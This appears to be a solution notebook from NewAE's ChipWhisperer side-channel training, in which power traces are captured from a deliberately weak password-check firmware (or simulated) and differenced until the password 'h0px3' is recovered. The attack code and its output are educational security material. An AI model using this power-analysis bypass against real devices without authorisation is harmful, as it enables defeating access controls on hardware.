SOLUTION WITH SIMULATION: Part 2, Topic 1, Lab B: Power Analysis for Password Bypass¶
NOTE: This lab references some (commercial) training material on ChipWhisperer.io. You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.
SUMMARY: This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. Our target device will be performing a simple password check, and we will demonstrate how to perform a basic power analysis.
LEARNING OUTCOMES:
- How power can be used to determine timing information.
- Plotting multiple iterations while varying input data to find interesting locations.
- Using difference of waveforms to find interesting locations.
- Performing power captures with ChipWhisperer hardware (hardware only)
Prerequisites¶
Hold up! Before you continue, check you've done the following tutorials:
- ☑ Jupyter Notebook Intro (you should be OK with plotting & running blocks).
- ☑ SCA101 Intro (you should have an idea of how to get hardware-specific versions running).
Power Trace Gathering¶
At this point you've got to insert code to perform the power trace capture. There are two options here:
- Capture from physical device.
- Read from a file.
You get to choose your adventure - see the two notebooks with the same name of this, but called (SIMULATED)
or (HARDWARE)
to continue. Inside those notebooks you should get some code to copy into the following section, which will define the capture function.
Be sure you get the "✔️ OK to continue!"
print once you run the next cell, otherwise things will fail later on!
Choose your setup options here:
SCOPETYPE='CWNANO'
PLATFORM='CWNANO'
CRYPTO_TARGET='TINYAES128C'
VERSION='HARDWARE'
allowable_exceptions = None
SS_VER = 'SS_VER_2_1'
if VERSION == 'HARDWARE':
#!/usr/bin/env python
# coding: utf-8
#
#
# **THIS IS NOT THE COMPLETE TUTORIAL - see file with (MAIN) in the name. Paste all this code before the first Python block**
# First you'll need to select which hardware setup you have. You'll need to select both a `SCOPETYPE` and a `PLATFORM`. `SCOPETYPE` can either be `'OPENADC'` for the CWLite/CW1200 or `'CWNANO'` for the CWNano. `PLATFORM` is the target device, with `'CWLITEARM'`/`'CW308_STM32F3'` being the best supported option, followed by `'CWLITEXMEGA'`/`'CW308_XMEGA'`, then by `'CWNANO'`. As of CW 5.4, you can select the SimpleSerial version
# used. For example:
#
# ```python
# SCOPETYPE = 'OPENADC'
# PLATFORM = 'CWLITEARM'
# SS_VER = 'SS_VER_2_1'
# ```
# In[ ]:
# This code will connect the scope and do some basic setup. We're now just going to use a special setup script to do this. This script contains the commands we ran seperately before.
# In[ ]:
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
import chipwhisperer as cw
try:
if not scope.connectStatus:
scope.con()
except NameError:
scope = cw.scope(hw_location=(5, 6))
try:
if SS_VER == "SS_VER_2_1":
target_type = cw.targets.SimpleSerial2
elif SS_VER == "SS_VER_2_0":
raise OSError("SS_VER_2_0 is deprecated. Use SS_VER_2_1")
else:
target_type = cw.targets.SimpleSerial
except:
SS_VER="SS_VER_1_1"
target_type = cw.targets.SimpleSerial
try:
target = cw.target(scope, target_type)
except:
print("INFO: Caught exception on reconnecting to target - attempting to reconnect to scope first.")
print("INFO: This is a work-around when USB has died without Python knowing. Ignore errors above this line.")
scope = cw.scope(hw_location=(5, 6))
target = cw.target(scope, target_type)
print("INFO: Found ChipWhisperer😍")
# In[ ]:
if "STM" in PLATFORM or PLATFORM == "CWLITEARM" or PLATFORM == "CWNANO":
prog = cw.programmers.STM32FProgrammer
elif PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
prog = cw.programmers.XMEGAProgrammer
elif "neorv32" in PLATFORM.lower():
prog = cw.programmers.NEORV32Programmer
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
prog = cw.programmers.SAM4SProgrammer
else:
prog = None
# In[ ]:
import time
time.sleep(0.05)
scope.default_setup()
def reset_target(scope):
if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
scope.io.pdic = 'low'
time.sleep(0.1)
scope.io.pdic = 'high_z' #XMEGA doesn't like pdic driven high
time.sleep(0.1) #xmega needs more startup time
elif "neorv32" in PLATFORM.lower():
raise IOError("Default iCE40 neorv32 build does not have external reset - reprogram device to reset")
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
scope.io.nrst = 'low'
time.sleep(0.25)
scope.io.nrst = 'high_z'
time.sleep(0.25)
else:
scope.io.nrst = 'low'
time.sleep(0.05)
scope.io.nrst = 'high_z'
time.sleep(0.05)
# The following code will build the firmware for the target.
# In[ ]:
try:
get_ipython().run_cell_magic('bash', '-s "$PLATFORM" "$SS_VER"', 'cd ../../../firmware/mcu/basic-passwdcheck\nmake PLATFORM=$1 CRYPTO_TARGET=NONE SS_VER=$2 -j\n &> /tmp/tmp.txt')
except:
x=open("/tmp/tmp.txt").read(); print(x); raise OSError(x)
# Finally, all that's left is to program the device, which can be done with the following line:
# In[ ]:
cw.program_target(scope, prog, "../../../firmware/mcu/basic-passwdcheck/basic-passwdcheck-{}.hex".format(PLATFORM))
# To make interacting with the hardware easier, let's define a function to attempt a password and return a power trace:
# In[ ]:
def cap_pass_trace(pass_guess):
reset_target(scope)
num_char = target.in_waiting()
while num_char > 0:
target.read(num_char, 10)
time.sleep(0.01)
num_char = target.in_waiting()
scope.arm()
target.write(pass_guess)
ret = scope.capture()
if ret:
print('Timeout happened during acquisition')
trace = scope.get_last_trace()
return trace
# We also don't need all of the default 5000 samples in the trace. 3000 is a good starting point for most targets:
# In[ ]:
scope.adc.samples = 3000
elif VERSION == 'SIMULATED':
#!/usr/bin/env python
# coding: utf-8
# # Power Analysis for Password Bypass - SIMULATED Setup
# ---
# **THIS IS NOT THE COMPLETE TUTORIAL - see file with `(MAIN)` in the name.**
#
# ---
# Sure you don't have hardware, but that doesn't mean we can't have fun! If you check the ChipWhisperer based lab (using hardware), you'll find that the capture function is defined like this:
#
# def cap_pass_trace(pass_guess):
# ret = ""
# reset_target(scope)
# num_char = target.in_waiting()
# while num_char > 0:
# ret += target.read(num_char, 10)
# time.sleep(0.01)
# num_char = target.in_waiting()
#
# scope.arm()
# target.write(pass_guess)
# ret = scope.capture()
# if ret:
# print('Timeout happened during acquisition')
#
# trace = scope.get_last_trace()
# return trace
#
# This sends a password guess to the target device, and returns a power trace associated with the guess in question. So for example you could run:
#
# cap_pass_trace("abcde\n")
#
# To get a power trace of `abcde`.
#
# Instead, we have a function that uses pre-recorded data. Run the following block and it should give you access to a function that uses pre-recorded data. While how you use the function is the same, note the following limitations:
#
# * Not every combination is stored in the system -- instead it stores similar power traces.
# * 100 traces are stored for each guess, and it randomly returns one to still give you the effect of noise.
#
# In[ ]:
from cwtraces import sca101_lab_data
import chipwhisperer as cw
cap_pass_trace = sca101_lab_data["lab2_1"]["cap_pass_trace"]
trace_test = cap_pass_trace("h\n")
#Basic sanity check
assert(len(trace_test) == 3000)
print("✔️ OK to continue!")
# But wait - this lab isn't the one you need to run it in! Instead copy the above block into the lab in the requested section, and you should be ready to rock.
INFO: Found ChipWhisperer😍 SS\_VER set to SS\_VER\_2\_1
SS\_VER set to SS\_VER\_2\_1
.
Welcome to another exciting ChipWhisperer target build!!
arm-none-eabi-gcc (15:9-2019-q4-0ubuntu1) 9.2.1 20191025 (release) [ARM/arm-9-branch revision 277599]
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Size after:
+--------------------------------------------------------
text data bss dec hex filename
4676 12 1172 5860 16e4 basic-passwdcheck-CWNANO.elf
+ Built for platform CWNANO Built-in Target (STM32F030) with:
+ CRYPTO\_TARGET = NONE
+ CRYPTO\_OPTIONS = AES128C
+--------------------------------------------------------
Detected known STMF32: STM32F04xxx Extended erase (0x44), this can take ten seconds or more Attempting to program 4687 bytes at 0x8000000 STM32F Programming flash...
STM32F Reading flash...
Verified flash OK, 4687 bytes
trace_test = cap_pass_trace("h\n")
#Basic sanity check
assert(len(trace_test) == 3000)
print("✔️ OK to continue!")
WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.
✔️ OK to continue!
Exploration¶
So what can we do with this? While first off - I'm going to cheat, and tell you that we have a preset password that starts with h
, and it's 5 characters long. But that's the only hint so far - what can you do? While first off, let's try plotting a comparison of h
to something else.
If you need a reminder of how to do a plot - see the matplotlib section of the Jupyter Introduction notebook.
The following cell shows you how to capture one power trace with h
sent as a password. From there:
- Try adding the plotting code and see what it looks like.
- Send different passwords to the device. We're only going to look at the difference between a password starting with
h
and something else right now. - Plot the different waveforms.
#Example - capture 'h' - end with newline '\n' as serial protocol expects that
trace_h = cap_pass_trace("h\n")
print(trace_h)
# ###################
# START SOLUTION
# ###################
cw.plot(cap_pass_trace("h\n")) * cw.plot(cap_pass_trace("0\n"))
# ###################
# END SOLUTION
# ###################
[-0.24609375 -0.10546875 -0.18359375 ... -0.125 -0.2265625 -0.35546875]
For reference, the output should look something like this:
If you are using the %matplotlib notebook
magic, you can zoom in at the start. What you want to notice is there is two code paths taken, depending on a correct or incorrect path. Here for example is a correct & incorrect character processed:
OK interesting -- what's next? Let's plot every possible password character we could send.
Our password implementation only recognizes characters in the list abcdefghijklmnopqrstuvwxyz0123456789
, so we're going to limit it to those valid characters for now.
Write some code in the following block that implements the following algorithm:
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(CHARACTER + "\n")
plot(trace)
The above isn't quite valid code - so massage it into place! You also may notice the traces are way too long - you might want to make a more narrow plot that only does the first say 500 samples of the power trace.
📝Plotting Note
If using matplotlib
for plotting, you might need to add a plt.figure()
at the start to make a new figure. Otherwise you might find your plot ends up in the figure above! If you don't see the plots, sometimes a plt.show()
is needed at the end.
# ###################
# START SOLUTION
# ###################
from tqdm.notebook import tqdm
fig = cw.plot()
for c in tqdm('abcdefghijklmnopqrstuvwxyz0123456789'):
trace = cap_pass_trace(c + "\n")
fig *= cw.plot(trace[0:1000])
fig
# ###################
# END SOLUTION
# ###################
The end result should be if you zoom in, you'll see there is a location where a single "outlier" trace doesn't follow the path of all the other traces. That is great news, since it means we learn something about the system from power analysis.
Using your loop - you can also try modifying the analysis to capture a correct "first" character, and then every other wrong second character. Do you see a difference you might be able to detect?
The pseudo-code would look something like this:
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace("h" + CHARACTER + "\n")
plot(trace)
Give that a shot in your earlier code-block, and then let's try and automate this attack to understand the data a little better.
Automating an Attack against One Character¶
To start with - we're going to automate an attack against a single character of the password. Since we don't know the password (let's assume), we'll use a strategy of comparing all possible inputs together.
An easy way to do this might be to use something that we know can't be part of the valid password. As long as it's processed the same way, this will work just fine. So for now, let's use a password as 0x00
(i.e., a null byte). We can compare the null byte to processing something else:
ref_trace = cap_pass_trace("\x01\n")[0:1000]
other_trace = cap_pass_trace("h\n")[0:1000]
cw.plot(ref_trace) * cw.plot(other_trace)
This will plot a trace with an input of "\x00" - a null password! This is an invalid character, and seems to be processed as any other invalid password.
Let's make this a little more obvious, and plot the difference between a known reference & every other capture. You need to write some code that does something like this:
ref_trace = cap_pass_trace( "\x00\n")
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(CHARACTER + "\n")
plot(trace - ref_trace)
Again, you may need to modify this a little bit such as adding code to make a new figure()
. Also notice in the above example how I reduced the number of samples.
# ###################
# START SOLUTION
# ###################
ref_trace = cap_pass_trace("h0p\x01\n")[0:1000]
plot = cw.plot({})
for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
trace = cap_pass_trace('h0p' + c + "\n")[0:1000]
plot *= cw.plot(trace - ref_trace)
plot
# ###################
# END SOLUTION
# ###################
OK great - hopefully you now see one major "difference". It should look something like this:
What do do now? Let's make this thing automatically detect such a large difference. Some handy stuff to try out is the np.sum()
and np.abs()
function.
The first one will get absolute values:
import numpy as np
np.abs([-1, -3, 1, -5, 6])
Out[]: array([1, 3, 1, 5, 6])
The second one will add up all the numbers.
import numpy as np
np.sum([-1, -3, 1, -5, 6])
Out[]: -2
Using just np.sum()
means positive and negative differences will cancel each other out - so it's better to do something like np.sum(np.abs(DIFF))
to get a good number indicating how "close" the match was.
import numpy as np
np.abs([-1, -3, 1, -5, 6])
array([1, 3, 1, 5, 6])
import numpy as np
np.sum([-1, -3, 1, -5, 6])
-2
np.sum(np.abs([-1, -3, 1, -5, 6]))
16
Taking your above loop, modify it to print an indicator of how closely this matches your trace. Something like the following should work:
ref_trace = cap_pass_trace( "\x00\n")
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = cap_pass_trace(CHARACTER + "\n")
diff = SUM(ABS(trace - ref_trace))
print("{:1} diff = {:2}".format(CHARACTER, diff))
# ###################
# START SOLUTION
# ###################
ref_trace = cap_pass_trace( "h0p\x01\n")
for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
trace = cap_pass_trace("h0p" + c + "\n")
diff = np.sum(np.abs(trace - ref_trace))
print("{:1} diff = {:2}".format(c, diff))
# ###################
# END SOLUTION
# ###################
a diff = 12.0859375 b diff = 12.4765625
c diff = 12.9375 d diff = 14.28515625
e diff = 13.6484375 f diff = 13.05859375
g diff = 12.765625 h diff = 12.11328125
i diff = 12.33984375 j diff = 12.80078125
k diff = 12.94140625 l diff = 13.05859375
m diff = 10.9140625 n diff = 13.96484375
o diff = 13.51953125 p diff = 11.6015625
q diff = 11.71875 r diff = 12.94921875
s diff = 13.51953125 t diff = 14.32421875
u diff = 12.0625 v diff = 12.703125
w diff = 11.26171875 x diff = 226.12109375
y diff = 11.0234375 z diff = 12.5546875
0 diff = 12.3671875 1 diff = 10.640625
2 diff = 14.12890625 3 diff = 11.84375
4 diff = 15.58984375 5 diff = 15.00390625
6 diff = 12.04296875 7 diff = 14.50390625
8 diff = 13.03125 9 diff = 11.6796875
Now the easy part - modify your above code to automatically print the correct password character. This should be done with a comparison of the diff
variable - based on the printed characters, you should see one that is 'higher' than the others. Set a threshold somewhere reasonable (say I might use 25.0
based on one run).
Running a Full Attack¶
Finally - let's finish this off. Rather than attacking a single character, we need to attack each character in sequence.
If you go back to the plotting of differences, you can try using the correct first character & wrong second character. The basic idea is exactly the same as before, but now we loop through 5 times, and just build up the password based on brute-forcing each character.
Another way you could attack this is by running through all the characters and picking the one with the largest difference.
Take a look at the following for the basic pseudo-code:
guessed_pw = "" #Store guessed password so far
do a loop 5 times (max password size):
ref_trace = capture power trace(guessed_pw + "\x00\n")
for CHARACTER in LIST_OF_VALID_CHARACTERS:
trace = capture power trace (guessed_pw + CHARACTER + newline)
diff = SUM(ABS(trace - ref_trace))
if diff > THRESHOLD:
guessed_pwd += c
print(guessed_pw)
break
# ###################
# START SOLUTION
# ###################
guessed_pw = ""
for _ in range(0, 5):
biggest_diff = 0
biggest_char = '\x01'
ref_trace = cap_pass_trace(guessed_pw + "\x01\n")
for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
trace = cap_pass_trace(guessed_pw + c + "\n")
diff = np.sum(np.abs(trace - ref_trace))
if diff > biggest_diff:
biggest_diff = diff
biggest_char = c
guessed_pw += biggest_char
print(guessed_pw)
# ###################
# END SOLUTION
# ###################
h
h0
h0p
h0px
h0px3
You should get an output that looks like this:
h
h0
h0p
h0px
h0px3
If so - 🥳🥳🥳🥳🥳🥳🥳🥳🥳🥳🥳🥳🥳 Congrats - you did it!!!!
If not - check some troubleshooting hints below. If you get really stuck, check the SOLN
version (there is one for both with hardware and simulated).
Troubleshooting - Always get 'h'¶
Some common problems you might run into - first, if you get an output which keeps guessing the first character:
h
hh
hhh
hhhh
hhhhh
Check that when you run the cap_pass_trace
inside the loop (checking the guessed password), are you updating the prefix of the password? For example, the old version of the code (guessing a single character) looked like this:
trace = cap_pass_trace(c + "\n")
But that is always sending our first character only! So we need to send the "known good password so far". In the example code something like this:
trace = cap_pass_trace(guessed_pw + c + "\n")
Where guessed_pw
progressively grows with the known good start of the password.
Troubleshooting - Always get 'a'¶
This looks like it's always matching the first character:
h
ha
haa
haaa
haaaa
Check that you update the ref_trace
- if you re-use the original reference trace, you won't be looking at a reference where the first N characters are good, and the remaining characters are bad. An easy way to do this is again using the guessed_pw
variable and appending a null + newline:
trace = cap_pass_trace(guessed_pw + "\x00\n")
NO-FUN DISCLAIMER: This material is Copyright (C) NewAE Technology Inc., 2015-2020. ChipWhisperer is a trademark of NewAE Technology Inc., claimed in all jurisdictions, and registered in at least the United States of America, European Union, and Peoples Republic of China.
Tutorials derived from our open-source work must be released under the associated open-source license, and notice of the source must be clearly displayed. Only original copyright holders may license or authorize other distribution - while NewAE Technology Inc. holds the copyright for many tutorials, the github repository includes community contributions which we cannot license under special terms and must be maintained as an open-source release. Please contact us for special permissions (where possible).
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
assert guessed_pw == 'h0px3', "Failed to break password"